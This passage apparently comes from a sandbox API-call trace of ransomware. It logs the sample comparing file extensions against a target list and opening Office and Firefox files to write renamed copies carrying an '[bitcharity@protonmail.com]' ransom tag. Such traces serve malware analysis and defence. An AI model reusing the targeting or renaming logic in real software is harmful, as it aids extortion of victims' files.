(lpString=".xls") returned 4 [0275.716] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0275.716] lstrlenW (lpString=".xlsx") returned 5 [0275.716] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0275.716] lstrlenW (lpString=".ppt") returned 4 [0275.716] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0275.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\PREVIEW.GIF") returned 111 [0275.716] lstrlenW (lpString=".zip") returned 4 [0275.716] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0275.716] lstrlenW (lpString=".rar") returned 4 [0275.716] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0275.716] lstrlenW (lpString=".bz2") returned 4 [0275.716] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0275.716] lstrlenW (lpString=".7z") returned 3 [0275.716] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0275.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\PREVIEW.GIF") returned 111 [0275.716] lstrlenW (lpString=".dbf") returned 4 [0275.716] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0275.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\PREVIEW.GIF") returned 111 [0275.716] lstrlenW (lpString=".1cd") returned 4 [0275.716] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0275.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\PREVIEW.GIF") returned 111 [0275.716] lstrlenW (lpString=".jpg") returned 4 [0275.717] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0275.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\PREVIEW.GIF") returned 111 [0275.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\PREVIEW.GIF") returned 111 [0275.717] lstrlenW (lpString=".doc") returned 4 [0275.717] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0275.717] lstrlenW (lpString=".docx") returned 5 [0275.717] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0275.717] lstrlenW (lpString=".pdf") returned 4 [0275.717] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0275.717] lstrlenW (lpString=".xls") returned 4 [0275.717] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0275.717] lstrlenW (lpString=".xlsx") returned 5 [0275.717] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0275.717] lstrlenW (lpString=".ppt") returned 4 [0275.717] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0275.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\PREVIEW.GIF") returned 111 [0275.717] lstrlenW (lpString=".zip") returned 4 [0275.717] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0275.717] lstrlenW (lpString=".rar") returned 4 [0275.717] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0275.717] lstrlenW (lpString=".bz2") returned 4 [0275.717] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0275.717] lstrlenW (lpString=".7z") returned 3 [0275.717] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0275.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\PREVIEW.GIF") returned 111 [0275.717] lstrlenW (lpString=".dbf") returned 4 [0275.717] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0275.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\PREVIEW.GIF") returned 111 [0275.718] lstrlenW (lpString=".1cd") returned 4 [0275.718] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0275.718] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\STRTEDGE\\PREVIEW.GIF") returned 111 [0275.718] lstrlenW (lpString=".jpg") returned 4 [0275.718] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0275.718] lstrcmpiW (lpString1=".XLSX", lpString2=".com") returned 1 [0275.718] lstrlenW (lpString="EXCEL12.XLSX") returned 12 [0275.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\SHELLNEW\\EXCEL12.XLSX" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\windows\\shellnew\\excel12.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1278 [0275.719] GetFileSizeEx (in: hFile=0x1278, lpFileSize=0x28dff14 | out: lpFileSize=0x28dff14*=5739) returned 1 [0275.719] CloseHandle (hObject=0x1278) returned 1 [0275.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\SHELLNEW\\EXCEL12.XLSX" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\windows\\shellnew\\excel12.xlsx")) returned 0x220 [0275.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\SHELLNEW\\EXCEL12.XLSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\windows\\shellnew\\excel12.xlsx.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0275.719] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\SHELLNEW\\EXCEL12.XLSX" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\windows\\shellnew\\excel12.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1278 [0275.719] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.719] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\SHELLNEW\\EXCEL12.XLSX.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\windows\\shellnew\\excel12.xlsx.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.720] CloseHandle (hObject=0x1278) returned 1 [0275.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\SHELLNEW\\EXCEL12.XLSX") returned 72 [0275.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\SHELLNEW\\EXCEL12.XLSX") returned 72 [0275.720] lstrlenW (lpString=".doc") returned 4 [0275.720] lstrcmpiW (lpString1=".doc", lpString2="XLSX") returned -1 [0275.720] lstrlenW (lpString=".docx") returned 5 [0275.720] lstrcmpiW (lpString1=".docx", lpString2=".XLSX") returned -1 [0275.720] lstrlenW (lpString=".pdf") returned 4 [0275.720] lstrcmpiW (lpString1=".pdf", lpString2="XLSX") returned -1 [0275.720] lstrlenW (lpString=".xls") returned 4 [0275.720] lstrcmpiW (lpString1=".xls", lpString2="XLSX") returned -1 [0275.720] lstrlenW (lpString=".xlsx") returned 5 [0275.720] lstrcmpiW (lpString1=".xlsx", lpString2=".XLSX") returned 0 [0275.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\SHELLNEW\\EXCEL12.XLSX") returned 72 [0275.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\SHELLNEW\\EXCEL12.XLSX") returned 72 [0275.720] lstrlenW (lpString=".doc") returned 4 [0275.720] lstrcmpiW (lpString1=".doc", lpString2="XLSX") returned -1 [0275.721] lstrlenW (lpString=".docx") returned 5 [0275.721] lstrcmpiW (lpString1=".docx", lpString2=".XLSX") returned -1 [0275.721] lstrlenW (lpString=".pdf") returned 4 [0275.721] lstrcmpiW (lpString1=".pdf", lpString2="XLSX") returned -1 [0275.721] lstrlenW (lpString=".xls") returned 4 [0275.721] lstrcmpiW (lpString1=".xls", lpString2="XLSX") returned -1 [0275.721] lstrlenW (lpString=".xlsx") returned 5 [0275.721] lstrcmpiW (lpString1=".xlsx", lpString2=".XLSX") returned 0 [0275.721] lstrcmpiW (lpString1=".PUB", lpString2=".com") returned 1 [0275.721] lstrlenW (lpString="MSPUB.PUB") returned 9 [0275.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\SHELLNEW\\MSPUB.PUB" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\windows\\shellnew\\mspub.pub"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1278 [0275.722] GetFileSizeEx (in: hFile=0x1278, lpFileSize=0x28dff14 | out: lpFileSize=0x28dff14*=59904) returned 1 [0275.722] CloseHandle (hObject=0x1278) returned 1 [0275.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\SHELLNEW\\MSPUB.PUB" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\windows\\shellnew\\mspub.pub")) returned 0x220 [0275.722] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\SHELLNEW\\MSPUB.PUB.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\windows\\shellnew\\mspub.pub.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0275.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\SHELLNEW\\MSPUB.PUB" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\windows\\shellnew\\mspub.pub"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1278 [0275.722] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.722] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\SHELLNEW\\MSPUB.PUB.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\windows\\shellnew\\mspub.pub.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.722] CloseHandle (hObject=0x1278) returned 1 [0275.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\SHELLNEW\\MSPUB.PUB") returned 69 [0275.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\SHELLNEW\\MSPUB.PUB") returned 69 [0275.723] lstrlenW (lpString=".doc") returned 4 [0275.723] lstrcmpiW (lpString1=".doc", lpString2=".PUB") returned -1 [0275.723] lstrlenW (lpString=".docx") returned 5 [0275.723] lstrcmpiW (lpString1=".docx", lpString2="B.PUB") returned -1 [0275.723] lstrlenW (lpString=".pdf") returned 4 [0275.723] lstrcmpiW (lpString1=".pdf", lpString2=".PUB") returned -1 [0275.723] lstrlenW (lpString=".xls") returned 4 [0275.723] lstrcmpiW (lpString1=".xls", lpString2=".PUB") returned 1 [0275.723] lstrlenW (lpString=".xlsx") returned 5 [0275.723] lstrcmpiW (lpString1=".xlsx", lpString2="B.PUB") returned -1 [0275.723] lstrlenW (lpString=".ppt") returned 4 [0275.723] lstrcmpiW (lpString1=".ppt", lpString2=".PUB") returned -1 [0275.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\SHELLNEW\\MSPUB.PUB") returned 69 [0275.723] lstrlenW (lpString=".zip") returned 4 [0275.723] lstrcmpiW (lpString1=".zip", lpString2=".PUB") returned 1 [0275.723] lstrlenW (lpString=".rar") returned 4 [0275.723] lstrcmpiW (lpString1=".rar", lpString2=".PUB") returned 1 [0275.723] lstrlenW (lpString=".bz2") returned 4 [0275.723] lstrcmpiW (lpString1=".bz2", lpString2=".PUB") returned -1 [0275.723] lstrlenW (lpString=".7z") returned 3 [0275.723] lstrcmpiW (lpString1=".7z", lpString2="PUB") returned -1 [0275.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\SHELLNEW\\MSPUB.PUB") returned 69 [0275.723] lstrlenW (lpString=".dbf") returned 4 [0275.723] lstrcmpiW (lpString1=".dbf", lpString2=".PUB") returned -1 [0275.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\SHELLNEW\\MSPUB.PUB") returned 69 [0275.724] lstrlenW (lpString=".1cd") returned 4 [0275.724] lstrcmpiW (lpString1=".1cd", lpString2=".PUB") returned -1 [0275.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\SHELLNEW\\MSPUB.PUB") returned 69 [0275.724] lstrlenW (lpString=".jpg") returned 4 [0275.724] lstrcmpiW (lpString1=".jpg", lpString2=".PUB") returned -1 [0275.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\SHELLNEW\\MSPUB.PUB") returned 69 [0275.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\SHELLNEW\\MSPUB.PUB") returned 69 [0275.724] lstrlenW (lpString=".doc") returned 4 [0275.724] lstrcmpiW (lpString1=".doc", lpString2=".PUB") returned -1 [0275.724] lstrlenW (lpString=".docx") returned 5 [0275.724] lstrcmpiW (lpString1=".docx", lpString2="B.PUB") returned -1 [0275.724] lstrlenW (lpString=".pdf") returned 4 [0275.724] lstrcmpiW (lpString1=".pdf", lpString2=".PUB") returned -1 [0275.724] lstrlenW (lpString=".xls") returned 4 [0275.724] lstrcmpiW (lpString1=".xls", lpString2=".PUB") returned 1 [0275.724] lstrlenW (lpString=".xlsx") returned 5 [0275.724] lstrcmpiW (lpString1=".xlsx", lpString2="B.PUB") returned -1 [0275.724] lstrlenW (lpString=".ppt") returned 4 [0275.724] lstrcmpiW (lpString1=".ppt", lpString2=".PUB") returned -1 [0275.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\SHELLNEW\\MSPUB.PUB") returned 69 [0275.724] lstrlenW (lpString=".zip") returned 4 [0275.724] lstrcmpiW (lpString1=".zip", lpString2=".PUB") returned 1 [0275.724] lstrlenW (lpString=".rar") returned 4 [0275.724] lstrcmpiW (lpString1=".rar", lpString2=".PUB") returned 1 [0275.724] lstrlenW (lpString=".bz2") returned 4 [0275.724] lstrcmpiW (lpString1=".bz2", lpString2=".PUB") returned -1 [0275.724] lstrlenW (lpString=".7z") returned 3 [0275.725] lstrcmpiW (lpString1=".7z", lpString2="PUB") returned -1 [0275.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\SHELLNEW\\MSPUB.PUB") returned 69 [0275.725] lstrlenW (lpString=".dbf") returned 4 [0275.725] lstrcmpiW (lpString1=".dbf", lpString2=".PUB") returned -1 [0275.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\SHELLNEW\\MSPUB.PUB") returned 69 [0275.725] lstrlenW (lpString=".1cd") returned 4 [0275.725] lstrcmpiW (lpString1=".1cd", lpString2=".PUB") returned -1 [0275.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\VFS\\Windows\\SHELLNEW\\MSPUB.PUB") returned 69 [0275.725] lstrlenW (lpString=".jpg") returned 4 [0275.725] lstrcmpiW (lpString1=".jpg", lpString2=".PUB") returned -1 [0275.725] lstrcmpiW (lpString1=".ini", lpString2=".com") returned 1 [0275.725] lstrlenW (lpString="application.ini") returned 15 [0275.725] CreateFileW (lpFileName="C:\\Program Files\\Mozilla Firefox\\application.ini" (normalized: "c:\\program files\\mozilla firefox\\application.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1278 [0275.726] GetFileSizeEx (in: hFile=0x1278, lpFileSize=0x28dff14 | out: lpFileSize=0x28dff14*=718) returned 1 [0275.726] CloseHandle (hObject=0x1278) returned 1 [0275.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Mozilla Firefox\\application.ini" (normalized: "c:\\program files\\mozilla firefox\\application.ini")) returned 0x20 [0275.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Mozilla Firefox\\application.ini.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\application.ini.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0275.726] CreateFileW (lpFileName="C:\\Program Files\\Mozilla Firefox\\application.ini" (normalized: "c:\\program files\\mozilla firefox\\application.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1278 [0275.726] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.726] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.726] CreateFileW (lpFileName="C:\\Program Files\\Mozilla Firefox\\application.ini.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\application.ini.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.727] CloseHandle (hObject=0x1278) returned 1 [0275.728] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.728] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.728] CreateFileW (lpFileName="C:\\Program Files\\Mozilla Firefox\\browser\\blocklist.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\browser\\blocklist.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.728] CloseHandle (hObject=0x1278) returned 1 [0275.729] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.729] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.729] CreateFileW (lpFileName="C:\\Program Files\\Mozilla Firefox\\browser\\crashreporter-override.ini.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\browser\\crashreporter-override.ini.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.729] CloseHandle (hObject=0x1278) returned 1 [0275.731] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.731] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.731] CreateFileW (lpFileName="C:\\Program Files\\Mozilla Firefox\\browser\\VisualElements\\VisualElements_150.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\browser\\visualelements\\visualelements_150.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.731] CloseHandle (hObject=0x1278) returned 1 [0275.732] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.732] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.732] CreateFileW (lpFileName="C:\\Program Files\\Mozilla Firefox\\browser\\VisualElements\\VisualElements_70.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\browser\\visualelements\\visualelements_70.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.732] CloseHandle (hObject=0x1278) returned 1 [0275.733] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.734] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.734] CreateFileW (lpFileName="C:\\Program Files\\Mozilla Firefox\\crashreporter.ini.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\crashreporter.ini.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.734] CloseHandle (hObject=0x1278) returned 1 [0275.751] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.751] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.751] CreateFileW (lpFileName="C:\\Program Files\\Mozilla Firefox\\dictionaries\\en-US.dic.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\dictionaries\\en-us.dic.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.751] CloseHandle (hObject=0x1278) returned 1 [0275.752] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.752] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.752] CreateFileW (lpFileName="C:\\Program Files\\Mozilla Firefox\\firefox.VisualElementsManifest.xml.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\firefox.visualelementsmanifest.xml.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.753] CloseHandle (hObject=0x1278) returned 1 [0275.754] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.754] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.754] CreateFileW (lpFileName="C:\\Program Files\\Mozilla Firefox\\gmp-clearkey\\0.1\\manifest.json.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\gmp-clearkey\\0.1\\manifest.json.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.755] CloseHandle (hObject=0x1278) returned 1 [0275.756] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.756] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.756] CreateFileW (lpFileName="C:\\Program Files\\Mozilla Firefox\\install.log.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\install.log.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.757] CloseHandle (hObject=0x1278) returned 1 [0275.757] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.757] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.757] CreateFileW (lpFileName="C:\\Program Files\\Mozilla Firefox\\platform.ini.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\platform.ini.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.758] CloseHandle (hObject=0x1278) returned 1 [0275.759] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.759] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.759] CreateFileW (lpFileName="C:\\Program Files\\Mozilla Firefox\\uninstall\\shortcuts_log.ini.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\mozilla firefox\\uninstall\\shortcuts_log.ini.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.759] CloseHandle (hObject=0x1278) returned 1 [0275.760] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0275.760] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, 